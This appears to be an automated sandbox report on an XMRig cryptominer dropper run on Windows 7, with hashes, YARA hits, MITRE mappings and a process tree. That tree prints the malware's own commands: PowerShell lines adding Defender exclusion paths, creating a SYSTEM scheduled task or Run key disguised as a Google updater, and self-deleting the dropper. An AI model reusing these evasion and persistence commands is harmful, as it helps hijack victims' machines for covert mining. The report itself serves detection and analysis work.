xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
432s
max time network
1789s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
23/01/2024, 19:27

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General

Target

grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 1936 created 1380	1936	Be5sCbvuma2nkHDa.exe	6
PID 1936 created 1380	1936	Be5sCbvuma2nkHDa.exe	6
PID 1936 created 1380	1936	Be5sCbvuma2nkHDa.exe	6
PID 1936 created 1380	1936	Be5sCbvuma2nkHDa.exe	6
PID 2700 created 1380	2700	updater.exe	6
PID 2700 created 1380	2700	updater.exe	6
PID 2700 created 1380	2700	updater.exe	6
PID 2700 created 1380	2700	updater.exe	6
PID 896 created 1380	896	conhost.exe	6
PID 2700 created 1380	2700	updater.exe	6

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral7/memory/1112-72-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1112-74-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1112-75-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1112-79-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1112-81-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1112-83-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1112-85-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1112-87-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1112-89-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1112-91-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1112-93-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1112-95-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1112-97-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1112-99-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1112-101-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1112-103-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1112-105-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1112-107-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1112-109-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1112-111-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1112-113-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1112-115-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1112-117-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1112-124-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1112-126-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1112-128-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1112-130-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1112-132-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1112-134-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1112-136-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2604	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2700	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
2264	taskeng.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral7/memory/1112-67-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1112-72-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1112-74-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1112-75-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1112-79-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1112-81-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1112-83-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1112-85-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1112-87-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1112-89-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1112-91-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1112-93-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1112-95-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1112-97-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1112-99-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1112-101-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1112-103-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1112-105-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1112-107-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1112-109-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1112-111-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1112-113-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1112-115-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1112-117-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1112-124-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1112-126-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1112-128-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1112-130-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1112-132-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1112-134-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1112-136-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2700 set thread context of 896	2700	updater.exe	49
PID 2700 set thread context of 1112	2700	updater.exe	51

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	Be5sCbvuma2nkHDa.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2772	schtasks.exe
1808	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2564	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 30da96c3e150da01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
1936	Be5sCbvuma2nkHDa.exe
1936	Be5sCbvuma2nkHDa.exe
1916	powershell.exe
1936	Be5sCbvuma2nkHDa.exe
1936	Be5sCbvuma2nkHDa.exe
2744	powershell.exe
1936	Be5sCbvuma2nkHDa.exe
1936	Be5sCbvuma2nkHDa.exe
1936	Be5sCbvuma2nkHDa.exe
1936	Be5sCbvuma2nkHDa.exe
2768	powershell.exe
2700	updater.exe
2700	updater.exe
2788	powershell.exe
2700	updater.exe
2700	updater.exe
2884	powershell.exe
2700	updater.exe
2700	updater.exe
2700	updater.exe
2700	updater.exe
896	conhost.exe
896	conhost.exe
2700	updater.exe
2700	updater.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	1916	powershell.exe
Token: SeDebugPrivilege	2744	powershell.exe
Token: SeDebugPrivilege	2768	powershell.exe
Token: SeDebugPrivilege	2788	powershell.exe
Token: SeDebugPrivilege	2884	powershell.exe
Token: SeDebugPrivilege	2700	updater.exe
Token: SeAssignPrimaryTokenPrivilege	2564	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2564	WMIC.exe
Token: SeSecurityPrivilege	2564	WMIC.exe
Token: SeTakeOwnershipPrivilege	2564	WMIC.exe
Token: SeLoadDriverPrivilege	2564	WMIC.exe
Token: SeSystemtimePrivilege	2564	WMIC.exe
Token: SeBackupPrivilege	2564	WMIC.exe
Token: SeRestorePrivilege	2564	WMIC.exe
Token: SeShutdownPrivilege	2564	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2564	WMIC.exe
Token: SeUndockPrivilege	2564	WMIC.exe
Token: SeManageVolumePrivilege	2564	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	2564	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2564	WMIC.exe
Token: SeSecurityPrivilege	2564	WMIC.exe
Token: SeTakeOwnershipPrivilege	2564	WMIC.exe
Token: SeLoadDriverPrivilege	2564	WMIC.exe
Token: SeSystemtimePrivilege	2564	WMIC.exe
Token: SeBackupPrivilege	2564	WMIC.exe
Token: SeRestorePrivilege	2564	WMIC.exe
Token: SeShutdownPrivilege	2564	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2564	WMIC.exe
Token: SeUndockPrivilege	2564	WMIC.exe
Token: SeManageVolumePrivilege	2564	WMIC.exe
Token: SeLockMemoryPrivilege	1112	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2744 wrote to memory of 2772	2744	powershell.exe	32
PID 2744 wrote to memory of 2772	2744	powershell.exe	32
PID 2744 wrote to memory of 2772	2744	powershell.exe	32
PID 2604 wrote to memory of 2468	2604	cmd.exe	33
PID 2604 wrote to memory of 2468	2604	cmd.exe	33
PID 2604 wrote to memory of 2468	2604	cmd.exe	33
PID 2768 wrote to memory of 3056	2768	powershell.exe	37
PID 2768 wrote to memory of 3056	2768	powershell.exe	37
PID 2768 wrote to memory of 3056	2768	powershell.exe	37
PID 2264 wrote to memory of 2700	2264	taskeng.exe	38
PID 2264 wrote to memory of 2700	2264	taskeng.exe	38
PID 2264 wrote to memory of 2700	2264	taskeng.exe	38
PID 2884 wrote to memory of 1808	2884	powershell.exe	53
PID 2884 wrote to memory of 1808	2884	powershell.exe	53
PID 2884 wrote to memory of 1808	2884	powershell.exe	53
PID 2700 wrote to memory of 896	2700	updater.exe	49
PID 1720 wrote to memory of 2564	1720	cmd.exe	52
PID 1720 wrote to memory of 2564	1720	cmd.exe	52
PID 1720 wrote to memory of 2564	1720	cmd.exe	52
PID 2700 wrote to memory of 1112	2700	updater.exe	51

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1380
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Be5sCbvuma2nkHDa.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Be5sCbvuma2nkHDa.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:1936
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2744
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2772
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Be5sCbvuma2nkHDa.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2604
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2768
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2788
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2884
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:1808
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1796
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:1720
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:2564
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:896
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1112

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2468

C:\Windows\system32\taskeng.exe
taskeng.exe {08723E3F-1846-48EB-A1C8-5F3DE5B6A657} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2264
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2700

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
1⤵
PID:3056

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
521KB

MD5
cdc5aaf6bd77723a14204581beb348d0

SHA1
54edaba9d3cf5c939827abf42dfbdd6e7ebbb8e1

SHA256
ebe40127518eeea7b3a160238da63f1c07bee067a1937ccd284ed559acf2677f

SHA512
cce34afa0e04a7f40b2a78890781ba2097582094c0248045859a4a67edec4b0f8936d36490197dbb0da4f158b9619bc19b00d538e429ed5f7110e8d8e0fcaa51

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
340KB

MD5
b7edb294da8faf7169ec3294f257a44f

SHA1
2b15b47e9639fd4f26a38a9d629f5ee2f9d35974

SHA256
62cf8f39f68e05e0137f874f21b2d718e90bd1f43e11408ed0834f4bc5e108c6

SHA512
358ce008491d5dd34cde4e44c5f50041e87654cf357b4fb2e2c6506007b66f088674e9458a85dbaf4fd6cae80c07890ae11783d6f47fd9b56e6693023eadb1b8

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
221178f427e8acbc87425f9e825f5875

SHA1
04a9979979923748600d107fa509c86c5e765baa

SHA256
e42693a5761ee9e90a9d260c32551557b8cec76c332d1a759a5e96a0f33492f2

SHA512
8639a44322a154888fa15ccaf9ae5a876dbbe5430e87e30eabce64d578eb10e4242de93777b1876807963710a4f3427076d2f64bb8a2fd95fb8d0cd775c1a82d

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
814KB

MD5
2186adb176d29eda20132204c287451f

SHA1
ea7bf83e3065e748a523b7dfa639cabe31b3252d

SHA256
9a1ec2f71b9a2d8ee52ebf0991ab9788d473b7a6886fb6732a08019cc9cc1895

SHA512
a5ebd8eb263cf47a43130dd9da60935da2b69fc684b3a4f0fd295d1d4d3307686e3b2a16c1d8647921d4257c4dc9ffd09778ddaa39df3c480024caa102e4354a

Download Submit
memory/896-78-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/896-71-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1112-93-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1112-69-0x00000000007E0000-0x0000000000800000-memory.dmp

Filesize
128KB

Download
memory/1112-89-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1112-87-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1112-85-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1112-83-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1112-81-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1112-79-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1112-77-0x0000000000800000-0x0000000000820000-memory.dmp

Filesize
128KB

Download
memory/1112-76-0x00000000007E0000-0x0000000000800000-memory.dmp

Filesize
128KB

Download
memory/1112-75-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1112-74-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1112-72-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1112-70-0x0000000000800000-0x0000000000820000-memory.dmp

Filesize
128KB

Download
memory/1112-111-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1112-136-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1112-134-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1112-132-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1112-107-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1112-91-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1112-130-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1112-128-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1112-126-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1112-95-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1112-124-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1112-117-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1112-115-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1112-113-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1112-68-0x00000000000C0000-0x00000000000E0000-memory.dmp

Filesize
128KB

Download
memory/1112-67-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1112-109-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1112-105-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1112-103-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1112-101-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1112-99-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1112-97-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1916-7-0x000007FEF5100000-0x000007FEF5A9D000-memory.dmp

Filesize
9.6MB

Download
memory/1916-8-0x0000000002B60000-0x0000000002BE0000-memory.dmp

Filesize
512KB

Download
memory/1916-10-0x0000000002B60000-0x0000000002BE0000-memory.dmp

Filesize
512KB

Download
memory/1916-9-0x000007FEF5100000-0x000007FEF5A9D000-memory.dmp

Filesize
9.6MB

Download
memory/1916-13-0x000007FEF5100000-0x000007FEF5A9D000-memory.dmp

Filesize
9.6MB

Download
memory/1916-12-0x0000000002B60000-0x0000000002BE0000-memory.dmp

Filesize
512KB

Download
memory/1916-5-0x000000001B6C0000-0x000000001B9A2000-memory.dmp

Filesize
2.9MB

Download
memory/1916-11-0x0000000002B60000-0x0000000002BE0000-memory.dmp

Filesize
512KB

Download
memory/1916-6-0x0000000002100000-0x0000000002108000-memory.dmp

Filesize
32KB

Download
memory/1936-0-0x000000013F760000-0x000000013F971000-memory.dmp

Filesize
2.1MB

Download
memory/1936-29-0x000000013F760000-0x000000013F971000-memory.dmp

Filesize
2.1MB

Download
memory/2700-45-0x000000013F2C0000-0x000000013F4D1000-memory.dmp

Filesize
2.1MB

Download
memory/2700-66-0x000000013F2C0000-0x000000013F4D1000-memory.dmp

Filesize
2.1MB

Download
memory/2744-27-0x000007FEF4760000-0x000007FEF50FD000-memory.dmp

Filesize
9.6MB

Download
memory/2744-26-0x0000000002960000-0x00000000029E0000-memory.dmp

Filesize
512KB

Download
memory/2744-24-0x0000000002960000-0x00000000029E0000-memory.dmp

Filesize
512KB

Download
memory/2744-23-0x000007FEF4760000-0x000007FEF50FD000-memory.dmp

Filesize
9.6MB

Download
memory/2744-25-0x0000000002960000-0x00000000029E0000-memory.dmp

Filesize
512KB

Download
memory/2744-20-0x000007FEF4760000-0x000007FEF50FD000-memory.dmp

Filesize
9.6MB

Download
memory/2744-22-0x0000000002960000-0x00000000029E0000-memory.dmp

Filesize
512KB

Download
memory/2744-21-0x0000000002210000-0x0000000002218000-memory.dmp

Filesize
32KB

Download
